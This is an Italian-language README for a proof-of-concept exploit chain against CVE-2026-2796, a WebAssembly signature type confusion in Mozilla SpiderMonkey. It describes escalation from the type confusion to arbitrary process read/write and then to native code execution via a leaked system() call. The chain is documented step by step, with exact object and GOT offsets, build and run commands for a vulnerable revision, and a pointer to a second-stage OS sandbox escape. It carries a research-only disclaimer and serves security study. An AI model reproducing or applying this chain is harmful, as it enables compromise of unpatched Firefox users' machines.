
Catena di exploit PoC per CVE-2026-2796: fuga dalla sandbox WebAssembly di SpiderMonkey (confusione del tipo di firma -> R/W arbitrario -> RCE)
Catena di exploit proof-of-concept per CVE-2026-2796, una miscompilazione JIT / confusione di tipo nell'ottimizzazione delle importazioni WebAssembly di Mozilla SpiderMonkey (componente "JavaScript: WebAssembly"). Un modulo wasm appositamente creato ottiene lettura/scrittura arbitraria dell'intero processo host ed esecuzione arbitraria di codice nativo, evadendo dalla sandbox WebAssembly.
e2acef67 ("Bug 2013165 - Fix import optimization")Quando un modulo wasm importa una funzione JS, SpiderMonkey applica un'ottimizzazione in MaybeOptimizeFunctionCallBind (js/src/wasm/WasmInstance.cpp) che rimuove il wrapping delle importazioni della forma Function.prototype.call.bind(fn) e memorizza direttamente come chiamabile dell'importazione. Non verificava però se il valore associato fosse esso stesso una :
fn+ if (boundThis.toObject().is<JSFunction>() &&
+ boundThis.toObject().as<JSFunction>().isWasm()) {
+ return nullptr;
+ }
In assenza di questo controllo, l'importazione viene trattata come una funzione originariamente wasm: il wrapper JS — e con esso il controllo della firma — viene saltato. Una funzione wasm può quindi essere invocata tramite un tipo di importazione dichiarato che non corrisponde al suo tipo reale. I valori passano attraverso i registri invariati; cambia solo la loro interpretazione (ad es. un i64 controllato dall'attaccante viene usato come puntatore GC (ref $t), e viceversa).
| File | Fase | Risultato |
|---|---|---|
poc-crash.js | Confusione di firma | i64.const 0xDEADBEEF dereferenziato come puntatore funcref → SIGSEGV a 0xdeadbf2f |
poc-addrof.js | addrOf + fakeobj | Confusione in entrambe le direzioni (i64 ↔ (ref $t)) → falso WasmArrayObject (numElements_ @+16, data_ @+24, elementi inline @+40) → R/W arbitrario in qualsiasi punto del processo |
poc-recon.js | Ricognizione del layout | puntatore nativo di JSFunction @+0x20 → leak della base del binario; puntatore typeDef di WasmFuncRef @+0x40 |
poc-forge.js | Flusso di controllo | il funcref forgato supera il controllo di tipo di call_ref; destinazione della chiamata caricata da [funcref+0x38] |
poc-rce.js | Esecuzione di codice | funcref forgato → system("touch /tmp/CVE-2026-2796-PWNED") tramite system() divulgato (base del binario + voce GOT @ base+0x11d47b0) |
La primitiva di confusione si ottiene esattamente come nel test di regressione di Mozilla stesso (js/src/jit-test/tests/wasm/regress/bug2013165.js): importare Function.prototype.call.bind(wasmExport) in un secondo modulo la cui dichiarazione di importazione ha una firma diversa, quindi ref.func + call_ref.
# Firefox source @ 2fbc0748c460b38fc95407a3f14c41d12fb12026 (2026-01-14,
# Firefox 148 nightly — predates the fix). Any pre-148 revision works.
cd js/src
../../configure --enable-debug --enable-optimize --without-intl-api \
--enable-project=js # objdir e.g. js/src/_obj
cd _obj && make -j8
# binary: dist/bin/js (reports "JavaScript-C149.0a1")
JS=/path/to/dist/bin/js
$JS poc/poc-crash.js # SIGSEGV at 0xdeadbf2f
$JS poc/poc-addrof.js # prints [+] arbitrary read OK / write OK
$JS poc/poc-recon.js # dumps JSFunction / WasmFuncRef memory
$JS poc/poc-forge.js # crashes with PC = planted canary
rm -f /tmp/CVE-2026-2796-PWNED
$JS poc/poc-rce.js # creates /tmp/CVE-2026-2796-PWNED via system()
Su una build patchata (Firefox ≥ 148), poc-crash.js invece lancia TypeError: bad type — il controllo della firma viene ripristinato.
Gli offset si riferiscono a macOS arm64 (shell js, questa esatta revisione/flags di build): WasmArrayObject { +16 numElements, +24 data_, +40 inline data }, JSFunction nativo @ +0x20, WasmFuncRef { +0x40 typeDef, +0x38 call target }. Sono validati empiricamente a runtime dagli autotest dei PoC; altre build/architetture richiedono una nuova derivazione (il PoC di ricognizione automatizza gran parte del processo). Nessun PAC sui binari arm64 (non-arm64e); le regioni JIT non sono scrivibili al momento della chiamata, quindi la catena dirotta una destinazione di chiamata esistente invece di iniettare codice.
Vedi docs/full-escape.md per l'analisi della fase 2: l'evasione dalla sandbox del sistema operativo partendo dall'esecuzione di codice nel renderer tramite CVE-2026-2768 (Bug 2014101, scrittura OOB IndexedDB nel processo padre) — il "secondo bug" di una compromissione completa di Firefox. L'albero vulnerabile usato qui precede anche quella correzione.
Questo consente di evadere dalla sandbox del motore wasm (confinamento della memoria lineare / GC) e produce esecuzione di codice nativo nel processo corrente. In un attacco reale a un browser, questo atterra all'interno del content process di Firefox; evadere dalla sandbox del sistema operativo (il "secondo bug": confusione IPC o exploit del kernel) è un problema separato e non fa parte di questo PoC.
javascript.options.wasm=false blocca il vettore d'innesco.Solo per ricerca sulla sicurezza, istruzione e test difensivi. La vulnerabilità è stata corretta nelle versioni attuali di Firefox/Thunderbird. Non utilizzare contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita ai test.